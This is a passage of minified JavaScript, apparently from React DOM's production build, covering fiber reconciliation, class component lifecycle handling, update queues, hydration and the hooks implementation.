0===t[n]&&(t[n]=e[n]);return t}return t}var Yo=oo(null),$o=null,Ko=null,Xo=null;function Qo(){Xo=Ko=$o=null}function Jo(e){var t=Yo.current;io(Yo),e.type._context._currentValue=t}function ei(e,t){for(;null!==e;){var n=e.alternate;if((e.childLanes&t)===t){if(null===n||(n.childLanes&t)===t)break;n.childLanes|=t}else e.childLanes|=t,null!==n&&(n.childLanes|=t);e=e.return}}function ti(e,t){$o=e,Xo=Ko=null,null!==(e=e.dependencies)&&null!==e.firstContext&&(0!=(e.lanes&t)&&(Ra=!0),e.firstContext=null)}function ni(e,t){if(Xo!==e&&!1!==t&&0!==t)if("number"==typeof t&&1073741823!==t||(Xo=e,t=1073741823),t={context:e,observedBits:t,next:null},null===Ko){if(null===$o)throw Error(a(308));Ko=t,$o.dependencies={lanes:0,firstContext:t,responders:null}}else Ko=Ko.next=t;return e._currentValue}var ri=!1;function oi(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null},effects:null}}function ii(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function ai(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function li(e,t){if(null!==(e=e.updateQueue)){var n=(e=e.shared).pending;null===n?t.next=t:(t.next=n.next,n.next=t),e.pending=t}}function si(e,t){var n=e.updateQueue,r=e.alternate;if(null!==r&&n===(r=r.updateQueue)){var o=null,i=null;if(null!==(n=n.firstBaseUpdate)){do{var a={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};null===i?o=i=a:i=i.next=a,n=n.next}while(null!==n);null===i?o=i=t:i=i.next=t}else o=i=t;return n={baseState:r.baseState,firstBaseUpdate:o,lastBaseUpdate:i,shared:r.shared,effects:r.effects},void(e.updateQueue=n)}null===(e=n.lastBaseUpdate)?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function ui(e,t,n,r){var i=e.updateQueue;ri=!1;var a=i.firstBaseUpdate,l=i.lastBaseUpdate,s=i.shared.pending;if(null!==s){i.shared.pending=null;var u=s,c=u.next;u.next=null,null===l?a=c:l.next=c,l=u;var f=e.alternate;if(null!==f){var d=(f=f.updateQueue).lastBaseUpdate;d!==l&&(null===d?f.firstBaseUpdate=c:d.next=c,f.lastBaseUpdate=u)}}if(null!==a){for(d=i.baseState,l=0,f=c=u=null;;){s=a.lane;var p=a.eventTime;if((r&s)===s){null!==f&&(f=f.next={eventTime:p,lane:0,tag:a.tag,payload:a.payload,callback:a.callback,next:null});e:{var h=e,m=a;switch(s=t,p=n,m.tag){case 1:if("function"==typeof(h=m.payload)){d=h.call(p,d,s);break e}d=h;break e;case 3:h.flags=-4097&h.flags|64;case 0:if(null==(s="function"==typeof(h=m.payload)?h.call(p,d,s):h))break e;d=o({},d,s);break e;case 2:ri=!0}}null!==a.callback&&(e.flags|=32,null===(s=i.effects)?i.effects=[a]:s.push(a))}else p={eventTime:p,lane:s,tag:a.tag,payload:a.payload,callback:a.callback,next:null},null===f?(c=f=p,u=d):f=f.next=p,l|=s;if(null===(a=a.next)){if(null===(s=i.shared.pending))break;a=s.next,s.next=null,i.lastBaseUpdate=s,i.shared.pending=null}}null===f&&(u=d),i.baseState=u,i.firstBaseUpdate=c,i.lastBaseUpdate=f,Ll|=l,e.lanes=l,e.memoizedState=d}}function ci(e,t,n){if(e=t.effects,t.effects=null,null!==e)for(t=0;t<e.length;t++){var r=e[t],o=r.callback;if(null!==o){if(r.callback=null,r=n,"function"!=typeof o)throw Error(a(191,o));o.call(r)}}}var fi=(new r.Component).refs;function di(e,t,n,r){n=null==(n=n(r,t=e.memoizedState))?t:o({},t,n),e.memoizedState=n,0===e.lanes&&(e.updateQueue.baseState=n)}var pi={isMounted:function(e){return!!(e=e._reactInternals)&&$e(e)===e},enqueueSetState:function(e,t,n){e=e._reactInternals;var r=is(),o=as(e),i=ai(r,o);i.payload=t,null!=n&&(i.callback=n),li(e,i),ls(e,o,r)},enqueueReplaceState:function(e,t,n){e=e._reactInternals;var r=is(),o=as(e),i=ai(r,o);i.tag=1,i.payload=t,null!=n&&(i.callback=n),li(e,i),ls(e,o,r)},enqueueForceUpdate:function(e,t){e=e._reactInternals;var n=is(),r=as(e),o=ai(n,r);o.tag=2,null!=t&&(o.callback=t),li(e,o),ls(e,r,n)}};function hi(e,t,n,r,o,i,a){return"function"==typeof(e=e.stateNode).shouldComponentUpdate?e.shouldComponentUpdate(r,i,a):!t.prototype||!t.prototype.isPureReactComponent||(!sr(n,r)||!sr(o,i))}function mi(e,t,n){var r=!1,o=lo,i=t.contextType;return"object"==typeof i&&null!==i?i=ni(i):(o=po(t)?co:so.current,i=(r=null!=(r=t.contextTypes))?fo(e,o):lo),t=new t(n,i),e.memoizedState=null!==t.state&&void 0!==t.state?t.state:null,t.updater=pi,e.stateNode=t,t._reactInternals=e,r&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=o,e.__reactInternalMemoizedMaskedChildContext=i),t}function gi(e,t,n,r){e=t.state,"function"==typeof t.componentWillReceiveProps&&t.componentWillReceiveProps(n,r),"function"==typeof t.UNSAFE_componentWillReceiveProps&&t.UNSAFE_componentWillReceiveProps(n,r),t.state!==e&&pi.enqueueReplaceState(t,t.state,null)}function vi(e,t,n,r){var o=e.stateNode;o.props=n,o.state=e.memoizedState,o.refs=fi,oi(e);var i=t.contextType;"object"==typeof i&&null!==i?o.context=ni(i):(i=po(t)?co:so.current,o.context=fo(e,i)),ui(e,n,o,r),o.state=e.memoizedState,"function"==typeof(i=t.getDerivedStateFromProps)&&(di(e,t,i,n),o.state=e.memoizedState),"function"==typeof t.getDerivedStateFromProps||"function"==typeof o.getSnapshotBeforeUpdate||"function"!=typeof o.UNSAFE_componentWillMount&&"function"!=typeof o.componentWillMount||(t=o.state,"function"==typeof o.componentWillMount&&o.componentWillMount(),"function"==typeof o.UNSAFE_componentWillMount&&o.UNSAFE_componentWillMount(),t!==o.state&&pi.enqueueReplaceState(o,o.state,null),ui(e,n,o,r),o.state=e.memoizedState),"function"==typeof o.componentDidMount&&(e.flags|=4)}var yi=Array.isArray;function bi(e,t,n){if(null!==(e=n.ref)&&"function"!=typeof e&&"object"!=typeof e){if(n._owner){if(n=n._owner){if(1!==n.tag)throw Error(a(309));var r=n.stateNode}if(!r)throw Error(a(147,e));var o=""+e;return null!==t&&null!==t.ref&&"function"==typeof t.ref&&t.ref._stringRef===o?t.ref:((t=function(e){var t=r.refs;t===fi&&(t=r.refs={}),null===e?delete t[o]:t[o]=e})._stringRef=o,t)}if("string"!=typeof e)throw Error(a(284));if(!n._owner)throw Error(a(290,e))}return e}function wi(e,t){if("textarea"!==e.type)throw Error(a(31,"[object Object]"===Object.prototype.toString.call(t)?"object with keys {"+Object.keys(t).join(", ")+"}":t))}function Ei(e){function t(t,n){if(e){var r=t.lastEffect;null!==r?(r.nextEffect=n,t.lastEffect=n):t.firstEffect=t.lastEffect=n,n.nextEffect=null,n.flags=8}}function n(n,r){if(!e)return null;for(;null!==r;)t(n,r),r=r.sibling;return null}function r(e,t){for(e=new Map;null!==t;)null!==t.key?e.set(t.key,t):e.set(t.index,t),t=t.sibling;return e}function o(e,t){return(e=Bs(e,t)).index=0,e.sibling=null,e}function i(t,n,r){return t.index=r,e?null!==(r=t.alternate)?(r=r.index)<n?(t.flags=2,n):r:(t.flags=2,n):n}function l(t){return e&&null===t.alternate&&(t.flags=2),t}function s(e,t,n,r){return null===t||6!==t.tag?((t=Us(n,e.mode,r)).return=e,t):((t=o(t,n)).return=e,t)}function u(e,t,n,r){return null!==t&&t.elementType===n.type?((r=o(t,n.props)).ref=bi(e,t,n),r.return=e,r):((r=Hs(n.type,n.key,n.props,null,e.mode,r)).ref=bi(e,t,n),r.return=e,r)}function c(e,t,n,r){return null===t||4!==t.tag||t.stateNode.containerInfo!==n.containerInfo||t.stateNode.implementation!==n.implementation?((t=Gs(n,e.mode,r)).return=e,t):((t=o(t,n.children||[])).return=e,t)}function f(e,t,n,r,i){return null===t||7!==t.tag?((t=Vs(n,e.mode,r,i)).return=e,t):((t=o(t,n)).return=e,t)}function d(e,t,n){if("string"==typeof t||"number"==typeof t)return(t=Us(""+t,e.mode,n)).return=e,t;if("object"==typeof t&&null!==t){switch(t.$$typeof){case S:return(n=Hs(t.type,t.key,t.props,null,e.mode,n)).ref=bi(e,null,t),n.return=e,n;case C:return(t=Gs(t,e.mode,n)).return=e,t}if(yi(t)||z(t))return(t=Vs(t,e.mode,n,null)).return=e,t;wi(e,t)}return null}function p(e,t,n,r){var o=null!==t?t.key:null;if("string"==typeof n||"number"==typeof n)return null!==o?null:s(e,t,""+n,r);if("object"==typeof n&&null!==n){switch(n.$$typeof){case S:return n.key===o?n.type===x?f(e,t,n.props.children,r,o):u(e,t,n,r):null;case C:return n.key===o?c(e,t,n,r):null}if(yi(n)||z(n))return null!==o?null:f(e,t,n,r,null);wi(e,n)}return null}function h(e,t,n,r,o){if("string"==typeof r||"number"==typeof r)return s(t,e=e.get(n)||null,""+r,o);if("object"==typeof r&&null!==r){switch(r.$$typeof){case S:return e=e.get(null===r.key?n:r.key)||null,r.type===x?f(t,e,r.props.children,o,r.key):u(t,e,r,o);case C:return c(t,e=e.get(null===r.key?n:r.key)||null,r,o)}if(yi(r)||z(r))return f(t,e=e.get(n)||null,r,o,null);wi(t,r)}return null}function m(o,a,l,s){for(var u=null,c=null,f=a,m=a=0,g=null;null!==f&&m<l.length;m++){f.index>m?(g=f,f=null):g=f.sibling;var v=p(o,f,l[m],s);if(null===v){null===f&&(f=g);break}e&&f&&null===v.alternate&&t(o,f),a=i(v,a,m),null===c?u=v:c.sibling=v,c=v,f=g}if(m===l.length)return n(o,f),u;if(null===f){for(;m<l.length;m++)null!==(f=d(o,l[m],s))&&(a=i(f,a,m),null===c?u=f:c.sibling=f,c=f);return u}for(f=r(o,f);m<l.length;m++)null!==(g=h(f,o,m,l[m],s))&&(e&&null!==g.alternate&&f.delete(null===g.key?m:g.key),a=i(g,a,m),null===c?u=g:c.sibling=g,c=g);return e&&f.forEach((function(e){return t(o,e)})),u}function g(o,l,s,u){var c=z(s);if("function"!=typeof c)throw Error(a(150));if(null==(s=c.call(s)))throw Error(a(151));for(var f=c=null,m=l,g=l=0,v=null,y=s.next();null!==m&&!y.done;g++,y=s.next()){m.index>g?(v=m,m=null):v=m.sibling;var b=p(o,m,y.value,u);if(null===b){null===m&&(m=v);break}e&&m&&null===b.alternate&&t(o,m),l=i(b,l,g),null===f?c=b:f.sibling=b,f=b,m=v}if(y.done)return n(o,m),c;if(null===m){for(;!y.done;g++,y=s.next())null!==(y=d(o,y.value,u))&&(l=i(y,l,g),null===f?c=y:f.sibling=y,f=y);return c}for(m=r(o,m);!y.done;g++,y=s.next())null!==(y=h(m,o,g,y.value,u))&&(e&&null!==y.alternate&&m.delete(null===y.key?g:y.key),l=i(y,l,g),null===f?c=y:f.sibling=y,f=y);return e&&m.forEach((function(e){return t(o,e)})),c}return function(e,r,i,s){var u="object"==typeof i&&null!==i&&i.type===x&&null===i.key;u&&(i=i.props.children);var c="object"==typeof i&&null!==i;if(c)switch(i.$$typeof){case S:e:{for(c=i.key,u=r;null!==u;){if(u.key===c){switch(u.tag){case 7:if(i.type===x){n(e,u.sibling),(r=o(u,i.props.children)).return=e,e=r;break e}break;default:if(u.elementType===i.type){n(e,u.sibling),(r=o(u,i.props)).ref=bi(e,u,i),r.return=e,e=r;break e}}n(e,u);break}t(e,u),u=u.sibling}i.type===x?((r=Vs(i.props.children,e.mode,s,i.key)).return=e,e=r):((s=Hs(i.type,i.key,i.props,null,e.mode,s)).ref=bi(e,r,i),s.return=e,e=s)}return l(e);case C:e:{for(u=i.key;null!==r;){if(r.key===u){if(4===r.tag&&r.stateNode.containerInfo===i.containerInfo&&r.stateNode.implementation===i.implementation){n(e,r.sibling),(r=o(r,i.children||[])).return=e,e=r;break e}n(e,r);break}t(e,r),r=r.sibling}(r=Gs(i,e.mode,s)).return=e,e=r}return l(e)}if("string"==typeof i||"number"==typeof i)return i=""+i,null!==r&&6===r.tag?(n(e,r.sibling),(r=o(r,i)).return=e,e=r):(n(e,r),(r=Us(i,e.mode,s)).return=e,e=r),l(e);if(yi(i))return m(e,r,i,s);if(z(i))return g(e,r,i,s);if(c&&wi(e,i),void 0===i&&!u)switch(e.tag){case 1:case 22:case 0:case 11:case 15:throw Error(a(152,Z(e.type)||"Component"))}return n(e,r)}}var Si=Ei(!0),Ci=Ei(!1),xi={},Oi=oo(xi),Ai=oo(xi),_i=oo(xi);function Ti(e){if(e===xi)throw Error(a(174));return e}function ki(e,t){switch(ao(_i,t),ao(Ai,e),ao(Oi,xi),e=t.nodeType){case 9:case 11:t=(t=t.documentElement)?t.namespaceURI:he(null,"");break;default:t=he(t=(e=8===e?t.parentNode:t).namespaceURI||null,e=e.tagName)}io(Oi),ao(Oi,t)}function Pi(){io(Oi),io(Ai),io(_i)}function Mi(e){Ti(_i.current);var t=Ti(Oi.current),n=he(t,e.type);t!==n&&(ao(Ai,e),ao(Oi,n))}function Ri(e){Ai.current===e&&(io(Oi),io(Ai))}var ji=oo(0);function Li(e){for(var t=e;null!==t;){if(13===t.tag){var n=t.memoizedState;if(null!==n&&(null===(n=n.dehydrated)||"$?"===n.data||"$!"===n.data))return t}else if(19===t.tag&&void 0!==t.memoizedProps.revealOrder){if(0!=(64&t.flags))return t}else if(null!==t.child){t.child.return=t,t=t.child;continue}if(t===e)break;for(;null===t.sibling;){if(null===t.return||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var Ii=null,Ni=null,Di=!1;function Fi(e,t){var n=Ds(5,null,null,0);n.elementType="DELETED",n.type="DELETED",n.stateNode=t,n.return=e,n.flags=8,null!==e.lastEffect?(e.lastEffect.nextEffect=n,e.lastEffect=n):e.firstEffect=e.lastEffect=n}function Bi(e,t){switch(e.tag){case 5:var n=e.type;return null!==(t=1!==t.nodeType||n.toLowerCase()!==t.nodeName.toLowerCase()?null:t)&&(e.stateNode=t,!0);case 6:return null!==(t=""===e.pendingProps||3!==t.nodeType?null:t)&&(e.stateNode=t,!0);case 13:default:return!1}}function Hi(e){if(Di){var t=Ni;if(t){var n=t;if(!Bi(e,t)){if(!(t=Ur(n.nextSibling))||!Bi(e,t))return e.flags=-1025&e.flags|2,Di=!1,void(Ii=e);Fi(Ii,n)}Ii=e,Ni=Ur(t.firstChild)}else e.flags=-1025&e.flags|2,Di=!1,Ii=e}}function Vi(e){for(e=e.return;null!==e&&5!==e.tag&&3!==e.tag&&13!==e.tag;)e=e.return;Ii=e}function zi(e){if(e!==Ii)return!1;if(!Di)return Vi(e),Di=!0,!1;var t=e.type;if(5!==e.tag||"head"!==t&&"body"!==t&&!Br(t,e.memoizedProps))for(t=Ni;t;)Fi(e,t),t=Ur(t.nextSibling);if(Vi(e),13===e.tag){if(!(e=null!==(e=e.memoizedState)?e.dehydrated:null))throw Error(a(317));e:{for(e=e.nextSibling,t=0;e;){if(8===e.nodeType){var n=e.data;if("/$"===n){if(0===t){Ni=Ur(e.nextSibling);break e}t--}else"$"!==n&&"$!"!==n&&"$?"!==n||t++}e=e.nextSibling}Ni=null}}else Ni=Ii?Ur(e.stateNode.nextSibling):null;return!0}function Ui(){Ni=Ii=null,Di=!1}var Gi=[];function Wi(){for(var e=0;e<Gi.length;e++)Gi[e]._workInProgressVersionPrimary=null;Gi.length=0}var qi=E.ReactCurrentDispatcher,Zi=E.ReactCurrentBatchConfig,Yi=0,$i=null,Ki=null,Xi=null,Qi=!1,Ji=!1;function ea(){throw Error(a(321))}function ta(e,t){if(null===t)return!1;for(var n=0;n<t.length&&n<e.length;n++)if(!ar(e[n],t[n]))return!1;return!0}function na(e,t,n,r,o,i){if(Yi=i,$i=t,t.memoizedState=null,t.updateQueue=null,t.lanes=0,qi.current=null===e||null===e.memoizedState?Ta:ka,e=n(r,o),Ji){i=0;do{if(Ji=!1,!(25>i))throw Error(a(301));i+=1,Xi=Ki=null,t.updateQueue=null,qi.current=Pa,e=n(r,o)}while(Ji)}if(qi.current=_a,t=null!==Ki&&null!==Ki.next,Yi=0,Xi=Ki=$i=null,Qi=!1,t)throw Error(a(300));return e}function ra(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return null===Xi?$i.memoizedState=Xi=e:Xi=Xi.next=e,Xi}function oa(){if(null===Ki){var e=$i.alternate;e=null!==e?e.memoizedState:null}else e=Ki.next;var t=null===Xi?$i.memoizedState:Xi.next;if(null!==t)Xi=t,Ki=e;else{if(null===e)throw Error(a(310));e={memoizedState:(Ki=e).memoizedState,baseState:Ki.baseState,baseQueue:Ki.baseQueue,queue:Ki.queue,next:null},null===Xi?$i.memoizedState=Xi=e:Xi=Xi.next=e}return Xi}function ia(e,t){return"function"==typeof t?t(e):t}function aa(e){var t=oa(),n=t.queue;if(null===n)throw Error(a(311));n.lastRenderedReducer=e;var r=Ki,o=r.baseQueue,i=n.pending;if(null!==i){if(null!==o){var l=o.next;o.next=i.next,i.next=l}r.baseQueue=o=i,n.pending=null}if(null!==o){o=o.next,r=r.baseState;var s=l=i=null,u=o;do{var c=u.lane;if((Yi&c)===c)null!==s&&(s=s.next={lane:0,action:u.action,eagerReducer:u.eagerReducer,eagerState:u.eagerState,next:null}),r=u.eagerReducer===e?u.eagerState:e(r,u.action);else{var f={lane:c,action:u.action,eagerReducer:u.eagerReducer,eagerState:u.eagerState,next:null};null===s?(l=s=f,i=r):s=s.next=f,$i.lanes|=c,Ll|=c}u=u.next}while(null!==u&&u!==o);null===s?i=r:s.next=l,ar(r,t.memoizedState)||(Ra=!0),t.memoizedState=r,t.baseState=i,t.baseQueue=s,n.lastRenderedState=r}return[t.memoizedState,n.dispatch]}function la(e){var t=oa(),n=t.queue;if(null===n)throw Error(a(311));n.lastRenderedReducer=e;var r=n.dispatch,o=n.pending,i=t.memoizedState;if(null!==o){n.pending=null;var l=o=o.next;do{i=e(i,l.action),l=l.next}while(l!==o);ar(i,t.memoizedState)||(Ra=!0),t.memoizedState=i,null===t.baseQueue&&(t.baseState=i),n.lastRenderedState=i}return[i,r]}function sa(e,t,n){var r=t._getVersion;r=r(t._source);var o=t._workInProgressVersionPrimary;if(null!==o?e=o===r:(e=e.mutableReadLanes,(e=(Yi&e)===e)&&(t._workInProgressVersionPrimary=r,Gi.push(t))),e)return n(t._source);throw Gi.push(t),Error(a(350))}function ua(e,t,n,r){var o=Al;if(null===o)throw Error(a(349));var i=t._getVersion,l=i(t._source),s=qi.current,u=s.useState((function(){return sa(o,t,n)})),c=u[1],f=u[0];u=Xi;var d=e.memoizedState,p=d.refs,h=p.getSnapshot,m=d.source;d=d.subscribe;var g=$i;return e.memoizedState={refs:p,source:t,subscribe:r},s.useEffect((function(){p.getSnapshot=n,p.setSnapshot=c;var e=i(t._source);if(!ar(l,e)){e=n(t._source),ar(f,e)||(c(e),e=as(g),o.mutableReadLanes|=e&o.pendingLanes),e=o.mutableReadLanes,o.entangledLanes|=e;for(var r=o.entanglements,a=e;0<a;){var s=31-Ut(a),u=1<<s;r[s]|=e,a&=~u}}}),[n,t,r]),s.useEffect((function(){return r(t._source,(function(){var e=p.getSnapshot,n=p.setSnapshot;try{n(e(t._source));var r=as(g);o.mutableReadLanes|=r&o.pendingLanes}catch(e){n((function(){throw e}))}}))}),[t,r]),ar(h,n)&&ar(m,t)&&ar(d,r)||((e={pending:null,dispatch:null,lastRenderedReducer:ia,lastRenderedState:f}).dispatch=c=Aa.bind(null,$i,e),u.queue=e,u.baseQueue=null,f=sa(o,t,n),u.memoizedState=u.baseState=f),f}function ca(e,t,n){return ua(oa(),e,t,n)}function fa(e){var t=ra();return"function"==typeof e&&(e=e()),t.memoizedState=t.baseState=e,e=(e=t.queue={pending:null,dispatch:null,lastRenderedReducer:ia,lastRenderedState:e}).dispatch=Aa.bind(null,$i,e),[t.memoizedState,e]}function da(e,t,n,r){return e={tag:e,create:t,destroy:n,deps:r,next:null},null===(t=$i.updateQueue)?(t={lastEffect:null},$i.updateQueue=t,t.lastEffect=e.next=e):null===(n=t.lastEffect)?t.lastEffect=e.next=e:(r=n.next,n.next=e,e.next=r,t.lastEffect=e),e}function pa(e){return e={current:e},ra().memoizedState=e}function ha(){return oa().memoizedState}function ma(e,t,n,r){var o=ra();$i.flags|=e,o.memoizedState=da(1|t,n,void 0,void 0===r?null:r)}function ga(e,t,n,r){var o=oa();r=void 0===r?null:r;var i=void 0;if(null!==Ki){var a=Ki.memoizedState;if(i=a.destroy,null!==r&&ta(r,a.deps))return void da(t,n,i,r)}$i.flags|=e,o.memoizedState=da(1|t,n,i,r)}function va(e,t){return ma(516,4,e,t)}function ya(e,t){return ga(516,4,e,t)}function ba(e,t){return ga(4,2,e,t)}function wa(e,t){return"function"==typeof t?(e=e(),t(e),function(){t(null)}):null!=t?(e=e(),t.current=e,function(){t.current=null}):void 0}function Ea(e,t,n){return n=null!=n?n.concat([e]):null,ga(4,2,wa.bind(null,t,e),n)}function Sa(){}function Ca(e,t){var n=oa();t=void 0===t?null:t;var r=n.memoizedState;return null!==r&&null!==t&&ta(t,r[1])?r[0]:(n.memoizedState=[e,t],e)}function xa(e,t){var n=oa();t=void 0===t?null:t;var r=n.memoizedState;return null!==r&&null!==t&&ta(t,r[1])?r[0]:(e=e(),n.memoizedState=[e,t],e)}function Oa(e,t){var n=Ho();zo(98>n?98:n,(function(){e(!0)})),zo(97<n?97:n,(function(){var n=Zi.transition;Zi.transition=1;try{e(!1),t()}finally{Zi.transition=n}}))}function Aa(e,t,n){var r=is(),o=as(e),i={lane:o,action:n,eagerReducer:null,eagerState:null,next:null},a=t.pending;if(null===a?i.next=i:(i.next=a.next,a.next=i),t.pending=i,a=e.alternate,e===$i||null!==a&&a===$i)Ji=Qi=!0;else{if(0===e.lanes&&(null===a||0===a.lanes)&&null!==(a=t.lastRenderedReducer))try{var l=t.lastRenderedState,s=a(l,n);if(i.eagerReducer=a,i.eagerState=s,ar(s,l))return}catch(e){}ls(e,o,r)}}var _a={readContext:ni,useCallback:ea,useContext:ea,useEffect:ea,useImperativeHandle:ea,useLayoutEffect:ea,useMemo:ea,useReducer:ea,useRef:ea,useState:ea,useDebugValue:ea,useDeferredValue:ea,useTransition:ea,useMutableSource:ea,useOpaqueIdentifier:ea,unstable_isNewReconciler:!1},Ta={readContext:ni,useCallback:function(e,t){return ra().memoizedState=[e,void 0===t?null:t],e},useContext:ni,useEffect:va,useImperativeHandle:function(e,t,n){return n=null!=n?n.concat([e]):null,ma(4,2,wa.bind(null,t,e),n)},useLayoutEffect:function(e,t){return ma(4,2,e,t)},useMemo:function(e,t){var n=ra();return t=void 0===t?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=ra();return t=void 0!==n?n(t):t,r.memoizedState=r.baseState=t,e=(e=r.queue={pending:null,dispatch:null,lastRenderedReducer:e,lastRenderedState:t}).dispatch=Aa.bind(null,$i,e),[r.memoizedState,e]},useRef:pa,useState:fa,useDebugValue:Sa,useDeferredValue:function(e){var t=fa(e),n=t[0],r=t[1];return va((function(){var t=Zi.transition;Zi.transition=1;try{r(e)}finally{Zi.transition=t}}),[e]),n},useTransition:function(){var e=fa(!1),t=e[0];return pa(e=Oa.bind(null,e[1])),[e,t]},useMutableSource:function(e,t,n){var r=ra();return r.memoizedState={refs:{getSnapshot:t,setSnapshot:null},source:e,subscribe:n},ua(r,e,t,n)},useOpaqueIdentifier:function(){if(Di){var e=!1,t=function(e){return{$$typeof:I,toString:e,valueOf:e}}((function(){throw e||(e=!0,n("r:"+(Wr++).toString(36))),Error(a(355))})),n=fa(t)[1];return 0==(2&$i.mode)&&($i.flags|=516,da(5,(function(){n("r:"+(Wr++).toString(36))}),void 0,null)),t}return fa(t="r:"+(Wr++).toString(36)),t},unstable_isNewReconciler:!1},ka={readContext:ni,useCallback:Ca,useContext:ni,useEffect:ya,useImperativeHandle:Ea,useLayoutEffect:ba,useMemo:xa,useReducer:aa,useRef:ha,useState:function(){return aa(ia)},useDebugValue:Sa,useDeferredValue:function(e){var t=aa(ia),n=t[0],r=t[1];return ya((function(){var t=Zi.transition;Zi.transition=1;try{r(e)}finally{Zi.transition=t}}),[e]),n},useTransition:function(){var e=aa(ia)[0];return[ha().current,e]},useMutableSource:ca,useOpaqueIdentifier:function(){return aa(ia)[0]},unstable_isNewReconciler:!1},Pa={readContext:ni,useCallback:Ca,useContext:ni,useEffect:ya,useImperativeHandle:Ea,useLayoutEffect:ba,useMemo:xa,useReducer:la,useRef:ha,useState:function(){return la(ia)},useDebugValue:Sa,useDeferredValue:function(e){var t=la(ia),n=t[0],r=t[1];return ya((function(){var t=Zi.transition;Zi.transition=1;try{r(e)}finally{Zi.transition=t}}),[e]),n},useTransition:function(){var e=la(ia)[0];return[ha().current,e]},useMutableSource:ca,useOpaqueIdentifier:function(){return la(ia)[0]},unstable_isNewReconciler:!1},Ma=E.ReactCurrentOwner,Ra=!1;function ja(e,t,n,r){t.child=null===e?Ci(t,null,n,r):Si(t,e.child,n,r)}function La(e,t,n,r,o){n=n.render;var i=t.ref;return ti(t,o),r=na(e,t,n,r,i,o),null===e||Ra?(t.flags|=1,ja(e,t,r,o),t.child):(t.updateQueue=e.updateQueue,t.flags&=-517,e.lanes&=~o,el(e,t,o))}function Ia(e,t,n,r,o,i){if(null===e){var a=n.type;return"function"!=typeof a||Fs(a)||void 0!==a.defaultProps||null!==n.compare||void 0!==n.defaultProps?((e=Hs(n.type,null,r,t,t.mode,i)).ref=t.ref,e.return=t,t.child=e):(t.tag=15,t.type=a,Na(e,t,a,r,o,i))}return a=e.child,0==(o&i)&&(o=a.memoizedProps,(n=null!==(n=n.compare)?n:sr)(o,r)&&e.ref===t.ref)?el(e,t,i):(t.flags|=1,(e=Bs(a,r)).ref=t.ref,e.return=t,t.child=e)}function Na(e,t,n,r,o,i){if(null!==e&&sr(e.memoizedProps,r)&&e.ref===t.ref){if(Ra=!1,0==(i&o))return t.lanes=e.lanes,el(e,t,i);0!=(16384&e.flags)&&(Ra=!0)}return Ba(e,t,n,r,i)}function Da(e,t,n){var r=t.pendingProps,o=r.children,i=null!==e?e.memoizedState:null;if("hidden"===r.mode||"unstable-defer-without-hiding"===r.mode)if(0==(4&t.mode))t.memoizedState={baseLanes:0},ms(t,n);else{if(0==(1073741824&n))return e=null!==i?i.baseLanes|n:n,t.lanes=t.childLanes=1073741824,t.memoizedState={baseLanes:e},ms(t,e),null;t.memoizedState={baseLanes:0},ms(t,null!==i?i.baseLanes:n)}else null!==i?(r=i.baseLanes|n,t.memoizedState=null):r=n,ms(t,r);return ja(e,t,o,n),t.child}function Fa(e,t){var n=t.ref;(null===e&&null!==n||null!==e&&e.ref!==n)&&(t.flags|=128)}function Ba(e,t,n,r,o){var i=po(n)?co:so.current;return i=fo(t,i),ti(t,o),n=na(e,t,n,r,i,o),null===e||Ra?(t.flags|=1,ja(e,t,n,o),t.child):(t.updateQueue=e.updateQueue,t.flags&=-517,e.lanes&=~o,el(e,t,o))}function Ha(e,t,n,r,o){if(po(n)){var i=!0;vo(t)}else i=!1;if(ti(t,o),null===t.stateNode)null!==e&&(e.alternate=null,t.alternate=null,t.flags|=2),mi(t,n,r),vi(t,n,r,o),r=!0;else if(null===e){var a=t.stateNode,l=t.memoizedProps;a.props=l;var s=a.context,u=n.contextType;"object"==typeof u&&null!==u?u=ni(u):u=fo(t,u=po(n)?co:so.current);var c=n.getDerivedStateFromProps,f="function"==typeof c||"function"==typeof a.getSnapshotBeforeUpdate;f||"function"!=typeof a.UNSAFE_componentWillReceiveProps&&"function"!=typeof a.componentWillReceiveProps||(l!==r||s!==u)&&gi(t,a,r,u),ri=!1;var d=t.memoizedState;a.state=d,ui(t,r,a,o),s=t.memoizedState,l!==r||d!==s||uo.current||ri?("function"==typeof c&&(di(t,n,c,r),s=t.memoizedState),(l=ri||hi(t,n,l,r,d,s,u))?(f||"function"!=typeof a.UNSAFE_componentWillMount&&"function"!=typeof a.componentWillMount||("function"==typeof a.componentWillMount&&a.componentWillMount(),"function"==typeof a.UNSAFE_componentWillMount&&a.UNSAFE_componentWillMount()),"function"==typeof a.componentDidMount&&(t.flags|=4)):("function"==typeof a.componentDidMount&&(t.flags|=4),t.memoizedProps=r,t.memoizedState=s),a.props=r,a.state=s,a.context=u,r=l):("function"==typeof a.componentDidMount&&(t.flags|=4),r=!1)}else{a=t.stateNode,ii(e,t),l=t.memoizedProps,u=t.type===t.elementType?l:Zo(t.type,l),a.props=u,f=t.pendingProps,d=a.context,"object"==typeof(s=n.contextType)&&null!==s?s=ni(s):s=fo(t,s=po(n)?co:so.current);var p=n.getDerivedStateFromProps;(c="function"==typeof p||"function"==typeof a.getSnapshotBeforeUpdate)||"function"!=typeof a.UNSAFE_componentWillReceiveProps&&"function"!=typeof a.componentWillReceiveProps||(l!==f||d!==s)&&gi(t,a,r,s),ri=!1,d=t.memoizedState,a.state=d,ui(t,r,a,o);var h=t.memoizedState;l!==f||d!==h||uo.current||ri?("function"==typeof p&&(di(t,n,p,r),h=t.memoizedState),(u=ri||hi(t,n,u,r,d,h,s))?(c||"function"!=typeof a.UNSAFE_componentWillUpdate&&"function"!=typeof a.componentWillUpdate||("function"==typeof a.componentWillUpdate&&a.componentWillUpdate(r,h,s),"function"==typeof a.UNSAFE_componentWillUpdate&&a.UNSAFE_componentWillUpdate(r,h,s)),"function"==typeof a.componentDidUpdate&&(t.flags|=4),"function"==typeof 